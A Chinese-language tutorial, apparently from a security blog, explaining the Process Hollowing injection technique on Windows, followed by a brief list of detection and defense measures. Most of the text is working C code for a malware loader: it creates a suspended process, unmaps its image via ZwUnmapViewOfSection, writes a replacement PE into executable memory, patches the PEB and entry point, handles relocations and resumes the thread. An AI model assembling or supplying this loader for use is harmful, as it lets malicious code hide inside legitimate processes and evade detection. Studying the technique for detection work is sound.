Process Hollowing学习与研究
字数 1229 2025-08-06 18:08:11
Process Hollowing(傀儡进程)技术详解
0x00 前言与基础概念
Process Hollowing(进程镂空/傀儡进程)是一种进程注入技术,通过创建挂起的目标进程,替换其内存中的程序映像为恶意代码,从而实现合法进程执行恶意代码的目的。
关键基础概念
-
线程与CONTEXT结构
- 线程切换时需要保存寄存器状态
- CONTEXT结构保存线程的各种寄存器数据
- 包含EAX、EBX、ECX等寄存器值
- ContextFlags指定需要保存/恢复哪些寄存器
-
PE文件关键信息
- ImageBase:程序运行时基址(默认加载地址)
- AddressOfEntryPoint:程序入口点偏移(RVA)
- SizeOfImage:程序在内存中的总大小
- 实际入口地址 = ImageBase + AddressOfEntryPoint
-
重定位表
- 当程序无法加载到ImageBase时使用
- 修正全局变量和函数的绝对地址
- 结构体定义:
typedef struct _IMAGE_BASE_RELOCATION { DWORD VirtualAddress; // 当前块的RVA DWORD SizeOfBlock; // 当前块大小 // WORD TypeOffset[1]; // 偏移数组 } IMAGE_BASE_RELOCATION; - 每个偏移占2字节(16位),高4位为类型(3表示有效),低12位为偏移值
0x01 Process Hollowing原理
核心思想:创建挂起的合法进程 → 卸载其内存映像 → 注入恶意代码 → 恢复执行
完整流程:
- 读取恶意程序到内存
- 为目标程序创建挂起进程
- 获取挂起进程的线程上下文
- 卸载目标程序在内存中的映像
- 解析恶意程序的PE信息
- 在目标进程空间中申请内存
- 将恶意程序写入目标进程
- 修改线程上下文,设置新入口点
- 恢复线程执行
0x02 技术实现详解
1. 创建挂起进程
STARTUPINFOW st = {0};
st.cb = sizeof(st);
PROCESS_INFORMATION info = {0};
CreateProcessW(
path, // 目标程序路径
NULL, // 命令行参数
NULL, // 进程安全属性
NULL, // 线程安全属性
NULL, // 句柄继承选项
CREATE_SUSPENDED, // 创建标志(挂起)
NULL, // 环境块
NULL, // 当前目录
&st, // STARTUPINFO
&info // PROCESS_INFORMATION
);
2. 获取线程上下文
CONTEXT context = {0};
context.ContextFlags = CONTEXT_FULL; // 获取所有寄存器
GetThreadContext(info.hThread, &context);
3. 卸载原程序映像
使用ZwUnmapViewOfSection卸载目标进程的原始映像:
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(HANDLE, PVOID);
pZwUnmapViewOfSection UnmapViewOfSection =
(pZwUnmapViewOfSection)GetProcAddress(LoadLibraryW(L"ntdll"), "ZwUnmapViewOfSection");
UnmapViewOfSection(info.hProcess, (PVOID)shell.ImageBase);
4. 内存分配与注入
情况1:能在原ImageBase分配内存
PVOID imagebuffer = VirtualAllocEx(
info.hProcess, // 目标进程
(PVOID)src.ImageBase, // 首选地址
src.SizeOfImage, // 大小
MEM_COMMIT|MEM_RESERVE, // 分配类型
PAGE_EXECUTE_READWRITE // 内存保护
);
if(imagebuffer != NULL) {
// 写入恶意代码
WriteProcessMemory(info.hProcess, imagebuffer, Imagebuffer, src.SizeOfImage, NULL);
// 修改PEB中的ImageBase
WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &imagebuffer, 4, NULL);
// 设置新入口点
context.Eax = src.Oep + (DWORD)imagebuffer;
SetThreadContext(info.hThread, &context);
ResumeThread(info.hThread);
}
情况2:需要重定位
if(src.ReCode == 0x1) { // 检查重定位表
PVOID n_buffer = VirtualAllocEx(
info.hProcess,
NULL, // 由系统决定地址
src.SizeOfImage,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// 修复重定位
PatchRe((DWORD)n_buffer, (PBYTE)buffer);
// 写入并恢复执行(同上)
// ...
}
5. 重定位修复实现
DWORD PatchRe(DWORD newImageBase, PBYTE ptr) {
// 获取PE头信息
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)ptr;
PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(ptr + Dos->e_lfanew);
PIMAGE_OPTIONAL_HEADER Option = (PIMAGE_OPTIONAL_HEADER)(ptr + Dos->e_lfanew + 24);
PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)IMAGE_FIRST_SECTION(Nt) - 128);
// 定位重定位表
PIMAGE_BASE_RELOCATION Relocation =
(PIMAGE_BASE_RELOCATION)(ptr + rtf((char*)ptr, Data[5].VirtualAddress));
DWORD nImageBase = newImageBase - Option->ImageBase;
Option->ImageBase = newImageBase; // 更新ImageBase
// 遍历重定位块
for(; Relocation->VirtualAddress && Relocation->SizeOfBlock;) {
DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
// 处理每个偏移
for(DWORD j = 0; j < RecCount; j++) {
if(RecAdd[j] >> 12 == 3) { // 检查类型
DWORD RecAdd2 = RecAdd[j] & 0x0fff; // 获取偏移
DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
*RecAdd4 = *RecAdd4 + nImageBase; // 修正地址
}
}
Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
}
return 1;
}
0x03 关键辅助函数
1. 文件读取到内存
PVOID ReadFile2Memory(LPCWSTR path) {
HANDLE hFile = CreateFileW(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD Size = GetFileSize(hFile, NULL);
PVOID buffer = VirtualAlloc(NULL, Size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, buffer, Size, &ReadByte, NULL);
return buffer;
}
2. 获取PE信息
DWORD GetPeInfo(PBYTE buffer, PDWORD Imagebase, PDWORD Oep, PDWORD SizeOfImage, PCHAR ReCode) {
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(buffer + Dos->e_lfanew);
PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(buffer + Dos->e_lfanew + 24);
*Imagebase = Option->ImageBase;
*Oep = Option->AddressOfEntryPoint;
*SizeOfImage = Option->SizeOfImage;
// 检查重定位表
PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)IMAGE_FIRST_SECTION(Nt) - 128);
*ReCode = (Data[5].VirtualAddress && Data[5].Size) ? 0x1 : 0x0;
return 0;
}
3. FileBuffer转ImageBuffer
PVOID F2i(PBYTE filebuffer) {
// 获取PE信息
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)filebuffer;
PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(filebuffer + Dos->e_lfanew);
PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(filebuffer + Dos->e_lfanew + 24);
// 分配内存
PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Option->SizeOfImage);
// 复制PE头
memcpy(buffer, Dos, Option->SizeOfHeaders);
// 复制各节区
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
for(int i = 0; i < Nt->FileHeader.NumberOfSections; i++) {
memcpy(
(LPVOID)((DWORD)buffer + Sec[i].VirtualAddress),
(LPVOID)((DWORD)filebuffer + Sec[i].PointerToRawData),
Sec[i].SizeOfRawData
);
}
return buffer;
}
4. RVA转FOA
DWORD rtf(char* buffer, DWORD rva) {
// 获取PE信息
PIMAGE_DOS_HEADER doshd = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS nthd = (PIMAGE_NT_HEADERS)(buffer + doshd->e_lfanew);
PIMAGE_OPTIONAL_HEADER32 optionhd = (PIMAGE_OPTIONAL_HEADER32)(buffer + doshd->e_lfanew + 24);
PIMAGE_SECTION_HEADER sectionhd = IMAGE_FIRST_SECTION(nthd);
// 检查是否在头部
if(rva < optionhd->SizeOfHeaders) return rva;
// 查找对应节区
for(int i = 0; i < nthd->FileHeader.NumberOfSections; i++) {
if(rva >= sectionhd[i].VirtualAddress &&
rva <= sectionhd[i].VirtualAddress + sectionhd[i].SizeOfRawData) {
return rva - sectionhd[i].VirtualAddress + sectionhd[i].PointerToRawData;
}
}
return 0;
}
0x04 检测与防御
检测方法
-
监控关键API调用
ZwUnmapViewOfSection的调用- 对合法进程的内存替换操作
-
行为分析
- 进程创建后立即挂起
- 进程内存被大量修改
- 入口点被修改
-
内存特征检测
- 检查PE头是否完整
- 验证内存中的PE签名
防御措施
-
代码签名验证
- 验证进程内存中的代码签名
- 检查代码完整性
-
进程行为监控
- 监控进程的异常行为
- 检测可疑的内存操作
-
使用ASLR
- 加强地址空间布局随机化
- 增加重定位难度
0x05 总结
Process Hollowing是一种高级的进程注入技术,具有以下特点:
- 隐蔽性强:利用合法进程作为载体
- 绕过检测:可绕过基于进程名的检测
- 技术要求高:需要处理PE结构、重定位等复杂问题
- 检测难点:监控
ZwUnmapViewOfSection是关键
理解这一技术不仅有助于安全研究人员检测恶意软件,也能帮助开发人员加强应用程序的安全性。